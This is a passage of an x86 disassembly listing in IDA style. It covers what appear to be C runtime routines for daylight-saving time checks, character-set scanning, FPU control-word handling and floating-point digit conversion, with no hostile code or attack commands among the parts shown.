		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_433E0A
		add	esp, 58h


loc_433D92:				; CODE XREF: sub_433C5E+2Cj
					; sub_433C5E+F0j
		mov	edx, dword_453BBC
		mov	eax, dword_453BCC
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_433DC2
		cmp	ecx, edx
		jl	loc_433C6B
		cmp	ecx, eax
		jg	loc_433C6B
		cmp	ecx, edx
		jle	short loc_433DD6
		cmp	ecx, eax
		jge	short loc_433DD6


loc_433DBC:				; CODE XREF: sub_433C5E+166j
					; sub_433C5E+16Aj
		mov	eax, ebx


loc_433DBE:				; CODE XREF: sub_433C5E+Fj
					; sub_433C5E+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433DC2:				; CODE XREF: sub_433C5E+144j
		cmp	ecx, eax
		jl	short loc_433DBC
		cmp	ecx, edx
		jg	short loc_433DBC
		cmp	ecx, eax
		jle	short loc_433DD6
		cmp	ecx, edx
		jl	loc_433C6B


loc_433DD6:				; CODE XREF: sub_433C5E+158j
					; sub_433C5E+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_433DFD
		xor	ecx, ecx
		cmp	eax, dword_453BC0
		setnl	cl


loc_433DF9:				; CODE XREF: sub_433C5E+1AAj
		mov	eax, ecx
		jmp	short loc_433DBE
; ---------------------------------------------------------------------------


loc_433DFD:				; CODE XREF: sub_433C5E+18Ej
		xor	ecx, ecx
		cmp	eax, dword_453BD0
		setl	cl
		jmp	short loc_433DF9
sub_433C5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433E0A	proc near		; CODE XREF: sub_433C5E+99p
					; sub_433C5E+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_433EA5
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_433E35
		shl	esi, 2
		mov	eax, dword_453BD0[esi]
		jmp	short loc_433E3E
; ---------------------------------------------------------------------------


loc_433E35:				; CODE XREF: sub_433E0A+1Ej
		shl	esi, 2
		mov	eax, dword_453C04[esi]


loc_433E3E:				; CODE XREF: sub_433E0A+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_433E78
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_433E82
; ---------------------------------------------------------------------------


loc_433E78:				; CODE XREF: sub_433E0A+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_433E82:				; CODE XREF: sub_433E0A+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_433EC0
		cmp	[ebp+arg_8], 0
		jnz	short loc_433E96
		mov	esi, dword_453BD4[esi]
		jmp	short loc_433E9C
; ---------------------------------------------------------------------------


loc_433E96:				; CODE XREF: sub_433E0A+82j
		mov	esi, dword_453C08[esi]


loc_433E9C:				; CODE XREF: sub_433E0A+8Aj
		cmp	ecx, esi
		jle	short loc_433EC0
		sub	ecx, 7
		jmp	short loc_433EC0
; ---------------------------------------------------------------------------


loc_433EA5:				; CODE XREF: sub_433E0A+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_433EB6
		mov	ecx, dword_453BD0[eax*4]
		jmp	short loc_433EBD
; ---------------------------------------------------------------------------


loc_433EB6:				; CODE XREF: sub_433E0A+A1j
		mov	ecx, dword_453C04[eax*4]


loc_433EBD:				; CODE XREF: sub_433E0A+AAj
		add	ecx, [ebp+arg_18]


loc_433EC0:				; CODE XREF: sub_433E0A+7Cj
					; sub_433E0A+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_433EF1
		mov	eax, [ebp+arg_1C]
		mov	dword_453BBC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_453BB8, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_453BC0, eax
		jmp	short loc_433F46
; ---------------------------------------------------------------------------


loc_433EF1:				; CODE XREF: sub_433E0A+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_453BCC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_453B2C
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_453BD0, eax
		jns	short loc_433F29
		add	eax, 5265C00h
		dec	ecx
		mov	dword_453BD0, eax
		jmp	short loc_433F3A
; ---------------------------------------------------------------------------


loc_433F29:				; CODE XREF: sub_433E0A+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_433F40
		sub	eax, edx
		inc	ecx
		mov	dword_453BD0, eax


loc_433F3A:				; CODE XREF: sub_433E0A+11Dj
		mov	dword_453BCC, ecx


loc_433F40:				; CODE XREF: sub_433E0A+126j
		mov	dword_453BC8, ebx


loc_433F46:				; CODE XREF: sub_433E0A+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_433E0A	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]


loc_433F64:				; CODE XREF: .text:00433F6Fj
		mov	al, [edx]
		or	al, al
		jz	short loc_433F71
		inc	edx
		bts	[esp], eax
		jmp	short loc_433F64
; ---------------------------------------------------------------------------


loc_433F71:				; CODE XREF: .text:00433F68j
		mov	esi, [ebp+8]
		or	ecx, 0FFFFFFFFh
		nop


loc_433F78:				; CODE XREF: .text:00433F84j
		inc	ecx
		mov	al, [esi]
		or	al, al
		jz	short loc_433F86
		inc	esi
		bt	[esp], eax
		jnb	short loc_433F78


loc_433F86:				; CODE XREF: .text:00433F7Dj
		mov	eax, ecx
		add	esp, 20h
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]


loc_433FA4:				; CODE XREF: .text:00433FAFj
		mov	al, [edx]
		or	al, al
		jz	short loc_433FB1
		inc	edx
		bts	[esp], eax
		jmp	short loc_433FA4
; ---------------------------------------------------------------------------


loc_433FB1:				; CODE XREF: .text:00433FA8j
		mov	esi, [ebp+8]


loc_433FB4:				; CODE XREF: .text:00433FBFj
		mov	al, [esi]
		or	al, al
		jz	short loc_433FC4
		inc	esi
		bt	[esp], eax
		jnb	short loc_433FB4
		lea	eax, [esi-1]


loc_433FC4:				; CODE XREF: .text:00433FB8j
		add	esp, 20h
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433FCA	proc near		; CODE XREF: sub_433FFF+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_434015
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4340A7
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_433FCA	endp


; =============== S U B	R O U T	I N E =======================================



sub_433FFF	proc near		; CODE XREF: sub_430668+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_433FCA
		pop	ecx
		pop	ecx
		retn
sub_433FFF	endp


; =============== S U B	R O U T	I N E =======================================



sub_434015	proc near		; CODE XREF: sub_433FCA+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_434026
		push	10h
		pop	eax


loc_434026:				; CODE XREF: sub_434015+Cj
		test	bl, 4
		jz	short loc_43402D
		or	al, 8


loc_43402D:				; CODE XREF: sub_434015+14j
		test	bl, 8
		jz	short loc_434034
		or	al, 4


loc_434034:				; CODE XREF: sub_434015+1Bj
		test	bl, 10h
		jz	short loc_43403B
		or	al, 2


loc_43403B:				; CODE XREF: sub_434015+22j
		test	bl, 20h
		jz	short loc_434042
		or	al, 1


loc_434042:				; CODE XREF: sub_434015+29j
		test	bl, 2
		jz	short loc_43404C
		or	eax, 80000h


loc_43404C:				; CODE XREF: sub_434015+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_434084
		cmp	edx, 400h
		jz	short loc_434081
		cmp	edx, 800h
		jz	short loc_43407D
		cmp	edx, esi
		jnz	short loc_434084
		or	eax, edi
		jmp	short loc_434084
; ---------------------------------------------------------------------------


loc_43407D:				; CODE XREF: sub_434015+5Ej
		or	eax, ebp
		jmp	short loc_434084
; ---------------------------------------------------------------------------


loc_434081:				; CODE XREF: sub_434015+56j
		or	ah, 1


loc_434084:				; CODE XREF: sub_434015+4Ej
					; sub_434015+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_434094
		cmp	ecx, ebp
		jnz	short loc_434099
		or	eax, 10000h
		jmp	short loc_434099
; ---------------------------------------------------------------------------


loc_434094:				; CODE XREF: sub_434015+72j
		or	eax, 20000h


loc_434099:				; CODE XREF: sub_434015+76j
					; sub_434015+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4340A6
		or	eax, 40000h

locret_4340A6:				; CODE XREF: sub_434015+8Aj
		retn
sub_434015	endp


; =============== S U B	R O U T	I N E =======================================



sub_4340A7	proc near		; CODE XREF: sub_433FCA+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_4340B7
		push	1
		pop	eax


loc_4340B7:				; CODE XREF: sub_4340A7+Bj
		test	bl, 8
		jz	short loc_4340BE
		or	al, 4


loc_4340BE:				; CODE XREF: sub_4340A7+13j
		test	bl, 4
		jz	short loc_4340C5
		or	al, 8


loc_4340C5:				; CODE XREF: sub_4340A7+1Aj
		test	bl, 2
		jz	short loc_4340CC
		or	al, 10h


loc_4340CC:				; CODE XREF: sub_4340A7+21j
		test	bl, 1
		jz	short loc_4340D3
		or	al, 20h


loc_4340D3:				; CODE XREF: sub_4340A7+28j
		test	ebx, 80000h
		jz	short loc_4340DD
		or	al, 2


loc_4340DD:				; CODE XREF: sub_4340A7+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_43410A
		cmp	ecx, 100h
		jz	short loc_434107
		cmp	ecx, esi
		jz	short loc_434102
		cmp	ecx, edx
		jnz	short loc_43410A
		or	ah, 0Ch
		jmp	short loc_43410A
; ---------------------------------------------------------------------------


loc_434102:				; CODE XREF: sub_4340A7+50j
		or	ah, 8
		jmp	short loc_43410A
; ---------------------------------------------------------------------------


loc_434107:				; CODE XREF: sub_4340A7+4Cj
		or	ah, 4


loc_43410A:				; CODE XREF: sub_4340A7+44j
					; sub_4340A7+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_434120
		cmp	ecx, 10000h
		jnz	short loc_434122
		or	eax, esi
		jmp	short loc_434122
; ---------------------------------------------------------------------------


loc_434120:				; CODE XREF: sub_4340A7+6Bj
		or	eax, edx


loc_434122:				; CODE XREF: sub_4340A7+73j
					; sub_4340A7+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_43412F
		or	ah, 10h

locret_43412F:				; CODE XREF: sub_4340A7+83j
		retn
sub_4340A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_434130	proc near		; CODE XREF: sub_4341CF+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_434175
		inc	esi
		cmp	esi, 3
		jge	short loc_434170
		lea	eax, [eax+esi*4]


loc_434162:				; CODE XREF: sub_434130+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_434175
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_434162


loc_434170:				; CODE XREF: sub_434130+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434175:				; CODE XREF: sub_434130+27j
					; sub_434130+35j
		xor	eax, eax
		pop	esi
		retn
sub_434130	endp


; =============== S U B	R O U T	I N E =======================================



sub_434179	proc near		; CODE XREF: sub_4341CF+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_4351E0
		add	esp, 0Ch
		dec	esi
		js	short loc_4341CB
		lea	edi, [ebx+esi*4]


loc_4341B2:				; CODE XREF: sub_434179+50j
		test	eax, eax
		jz	short loc_4341CB
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_4351E0
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_4341B2


loc_4341CB:				; CODE XREF: sub_434179+34j
					; sub_434179+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_434179	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4341CF	proc near		; CODE XREF: sub_43432A+81p
					; sub_43432A+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_434233
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_434130
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_434230
		push	edi
		push	[ebp+arg_0]
		call	sub_434179
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_434230:				; CODE XREF: sub_4341CF+51j
		mov	eax, [ebp+arg_4]


loc_434233:				; CODE XREF: sub_4341CF+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_434253
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_434253:				; CODE XREF: sub_4341CF+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4341CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_43425B	proc near		; CODE XREF: sub_43432A+75p
					; sub_43432A+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_434269:				; CODE XREF: sub_43425B+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_434269
		pop	esi
		retn
sub_43425B	endp


; =============== S U B	R O U T	I N E =======================================



sub_434276	proc near		; CODE XREF: sub_43432A+5Fp
					; sub_43432A+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_434276	endp


; =============== S U B	R O U T	I N E =======================================



sub_434282	proc near		; CODE XREF: sub_43432A+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_434288:				; CODE XREF: sub_434282+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_43429A
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_434288
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_43429A:				; CODE XREF: sub_434282+9j
		xor	eax, eax
		retn
sub_434282	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43429D	proc near		; CODE XREF: sub_43432A+C0p
					; sub_43432A+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_4342D3:				; CODE XREF: sub_43429D+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_4342D3
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_434305:				; CODE XREF: sub_43429D+86j
		cmp	ebx, edi
		jl	short loc_434318
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_43431F
; ---------------------------------------------------------------------------


loc_434318:				; CODE XREF: sub_43429D+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_43431F:				; CODE XREF: sub_43429D+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_434305
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43429D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43432A	proc near		; CODE XREF: sub_434496+Dp
					; sub_4344AC+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_434397
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_434282
		test	eax, eax
		pop	ecx
		jnz	loc_434456
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_434276
		pop	ecx


loc_43438F:				; CODE XREF: sub_43432A+E4j
		push	2


loc_434391:				; CODE XREF: sub_43432A+110j
		pop	eax
		jmp	loc_434458
; ---------------------------------------------------------------------------


loc_434397:				; CODE XREF: sub_43432A+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_43425B
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4341CF
		add	esp, 10h
		test	eax, eax
		jz	short loc_4343B8
		inc	ebx


loc_4343B8:				; CODE XREF: sub_43432A+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_4343D0
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_434276
		pop	ecx
		jmp	short loc_43440C
; ---------------------------------------------------------------------------


loc_4343D0:				; CODE XREF: sub_43432A+98j
		cmp	ebx, eax
		jg	short loc_434413
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_43425B
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_43429D
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4341CF
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_43429D
		add	esp, 20h


loc_43440C:				; CODE XREF: sub_43432A+A4j
		xor	esi, esi
		jmp	loc_43438F
; ---------------------------------------------------------------------------


loc_434413:				; CODE XREF: sub_43432A+A8j
		cmp	ebx, [edi]
		jl	short loc_43443F
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_434276
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_43429D
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_434391
; ---------------------------------------------------------------------------


loc_43443F:				; CODE XREF: sub_43432A+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_43429D
		pop	ecx
		pop	ecx


loc_434456:				; CODE XREF: sub_43432A+55j
		xor	eax, eax


loc_434458:				; CODE XREF: sub_43432A+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_434487
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_434491
; ---------------------------------------------------------------------------


loc_434487:				; CODE XREF: sub_43432A+14Ej
		cmp	edi, 20h
		jnz	short loc_434491
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_434491:				; CODE XREF: sub_43432A+15Bj
					; sub_43432A+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43432A	endp


; =============== S U B	R O U T	I N E =======================================



sub_434496	proc near		; CODE XREF: sub_4344C2+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_453C40
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_43432A
		add	esp, 0Ch
		retn
sub_434496	endp


; =============== S U B	R O U T	I N E =======================================



sub_4344AC	proc near		; CODE XREF: sub_4344EF+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_453C58
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_43432A
		add	esp, 0Ch
		retn
sub_4344AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4344C2	proc near		; CODE XREF: sub_4307A1+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_435381
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_434496
		add	esp, 24h
		leave
		retn
sub_4344C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4344EF	proc near		; CODE XREF: sub_4307A1+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_435381
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4344AC
		add	esp, 24h
		leave
		retn
sub_4344EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43451C	proc near		; CODE XREF: sub_4307DF+41p
					; sub_430902+38p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_434559
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_43453F:				; CODE XREF: sub_43451C+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_43454B
		movsx	edx, dl
		inc	ecx
		jmp	short loc_43454E
; ---------------------------------------------------------------------------


loc_43454B:				; CODE XREF: sub_43451C+27j
		push	30h
		pop	edx


loc_43454E:				; CODE XREF: sub_43451C+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_43453F
		mov	edx, [ebp+arg_8]


loc_434559:				; CODE XREF: sub_43451C+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_434572
		cmp	byte ptr [ecx],	35h
		jl	short loc_434572


loc_434565:				; CODE XREF: sub_43451C+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_434570
		mov	byte ptr [eax],	30h
		jmp	short loc_434565
; ---------------------------------------------------------------------------


loc_434570:				; CODE XREF: sub_43451C+4Dj
		inc	byte ptr [eax]


loc_434572:				; CODE XREF: sub_43451C+42j
					; sub_43451C+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_43457C
		inc	dword ptr [edx+4]
		jmp	short loc_43458E
; ---------------------------------------------------------------------------


loc_43457C:				; CODE XREF: sub_43451C+59j
		push	edi
		call	sub_4293A0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_42BA90
		add	esp, 10h


loc_43458E:				; CODE XREF: sub_43451C+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_43451C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434593	proc near		; CODE XREF: sub_4307DF+19p
					; sub_430902+19p ...

var_28		= word ptr -28h
var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_C		= byte ptr -0Ch
arg_0		= byte ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4345EF
		pop	ecx
		lea	eax, [ebp+var_28]
		pop	ecx
